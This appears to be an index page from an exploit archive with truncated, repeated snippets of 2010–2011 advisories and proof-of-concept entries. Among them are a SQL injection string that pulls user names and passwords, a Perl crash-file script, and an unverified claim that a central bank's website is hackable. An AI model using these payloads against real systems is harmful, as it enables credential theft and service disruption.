CVE-2010-4731: Improper Limitation of a Pathname to a Restricted Directory

Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA WS100 and WS200, Easy Connect EC150, Modbus RTU - TCP Gateway MB100, and Serial Ethernet Server SS100 on the IntelliCom NetBiter NB100 and NB200 platforms allows remote authenticated administrators to read arbitrary files via a...

CVE-2010-4732: Improper Control of Generation of Code

cgi-bin/read.cgi in WebSCADA WS100 and WS200, Easy Connect EC150, Modbus RTU - TCP Gateway MB100, and Serial Ethernet Server SS100 on the IntelliCom NetBiter NB100 and NB200 platforms allows remote authenticated administrators to execute arbitrary code by using a config.html 2.conf action to...

XM Easy Personal FTP Server 5.8.0 (TYPE) Denial Of Service

Exploit for windows platform in category dos / poc !/usr/bin/python Exploit Title : XM Easy Personal FTP Server 5.8.0 Denial Of Service LIST command Date: 10/02/2011 Author: Houssam Sahli Software Link: http://www.dxm2008.com/data/ftpserversetup.exe Version: 5.8.0 Tested on: Windows XP SP3 French...

XM Easy Personal FTP Server 5.8.0 - TYPE Denial of Service

XM Easy Personal FTP Server 5.8.0 - TYPE Denial of Service !/usr/bin/python Exploit Title : XM Easy Personal FTP Server 5.8.0 Denial Of Service LIST command Date: 10/02/2011 Author: Houssam Sahli Software Link: http://www.dxm2008.com/data/ftpserversetup.exe Version: 5.8.0 Tested on: Windows XP SP...

Unkn0wnV1rus said - Indian Reserve Bank is Venerable and easy to hack !

Unkn0wnV1rus said - Indian Reserve Bank is Venerable and easy to hack ! Hello Friends, Last night I got a email from "Unkn0wnV1rus" . He/she submit us a news about "Venerability of Indian Reserve Bank's website" . He claim that he have access to server . Purpose of publishing this news is just to...

MHP Downloadshop SQL Injection Vulnerability

Exploit for php platform in category web applications ----------------------------Information------------------------------------------------ +Name : MHP Downloadshop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : MHP Downloadshop +Demo...

Easy Online Shop SQL Injection Vulnerability

Exploit for php platform in category web applications...

Immo Makler Script SQL Injection Vulnerability

Exploit for php platform in category web applications ----------------------------Information------------------------------------------------ +Name : Immo Makler user +Column names = userid,name,pass,email +SQL Injection Vulnerability = news.php?id=-1+union+select+1,2,3,4,5,concatversion...

Easy Online Shop - SQL Injection

Easy Online Shop - SQL Injection ----------------------------Information------------------------------------------------ +Name : Easy Online Shop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : Easy Online Shop +Vendor : http://www.mhproducts.de/...

Easy Online Shop SQL Injection

----------------------------Information------------------------------------------------ +Name : Easy Online Shop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : Easy Online Shop +Vendor : http://www.mhproducts.de/ +Price : 8,90 € +Language : PHP...

Immo Makler Script SQL Injection

----------------------------Information------------------------------------------------ +Name : Immo Makler user +Column names = userid,name,pass,email +SQL Injection Vulnerability = news.php?id=-1+union+select+1,2,3,4,5,concatversion ,7,8,9+from+user--...

Easy Online Shop - SQL Injection

----------------------------Information------------------------------------------------ +Name : Easy Online Shop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : Easy Online Shop +Vendor : http://www.mhproducts.de/ +Price : 8,90 € +Language : PHP...

MHP Downloadshop - SQL Injection

----------------------------Information------------------------------------------------ +Name : MHP Downloadshop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : MHP Downloadshop +Demo...

Radius Manager 3.8.0 - Multiple Cross-Site Scripting Vulnerabilities

Check Point Software Technologies - Vulnerability Discovery Team VDT http://www.checkpoint.com/defense/ Radius Manager Multiple Cross Site Scripting Issues CVE-2010-4275 INTRODUCTION Radius Manager is a centralized way for administration of Mikrotik, Cisco, Chillispot and StarOS routers and...

Immo Makler Script - SQL Injection

Immo Makler Script - SQL Injection ----------------------------Information------------------------------------------------ +Name : Immo Makler user +Column names = userid,name,pass,email +SQL Injection Vulnerability = news.php?id=-1+union+select+1,2,3,4,5,concat...

MHP Downloadshop - SQL Injection

MHP Downloadshop - SQL Injection ----------------------------Information------------------------------------------------ +Name : MHP Downloadshop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : MHP Downloadshop +Demo...

Immo Makler Script - SQL Injection

----------------------------Information------------------------------------------------ +Name : Immo Makler user +Column names = userid,name,pass,email +SQL Injection Vulnerability = news.php?id=-1+union+select+1,2,3,4,5,concatversion ,7,8,9+from+user--...

Easy DVD Creator Local Crash PoC

Exploit for windows platform in category dos / poc Exploit Title: Easy DVD Creator Local Crash PoC Software Link: http://www.divxtodvd.net/dvd-creator.htm Tested on: Win XP SP3 Date: 15-12-2010 Author: h1ch4m Email: email protected my $file= "1.avi"; my $junk = "\x41" x 1000; open$FILE,"$file";...

Easy DVD Creator Local Crash

Exploit Title: Easy DVD Creator Local Crash PoC Software Link: http://www.divxtodvd.net/dvd-creator.htm Tested on: Win XP SP3 Date: 15-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.avi"; my $junk = "\x41" x 1000; open$FILE,"$file"; print $FILE $junk; close$FILE; print "File Created...

Easy DVD Creator - Local Crash (PoC)

Easy DVD Creator - Local Crash PoC Exploit Title: Easy DVD Creator Local Crash PoC Software Link: http://www.divxtodvd.net/dvd-creator.htm Tested on: Win XP SP3 Date: 15-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.avi"; my $junk = "\x41" x 1000; open$FILE,"$file"; print $FILE $junk;...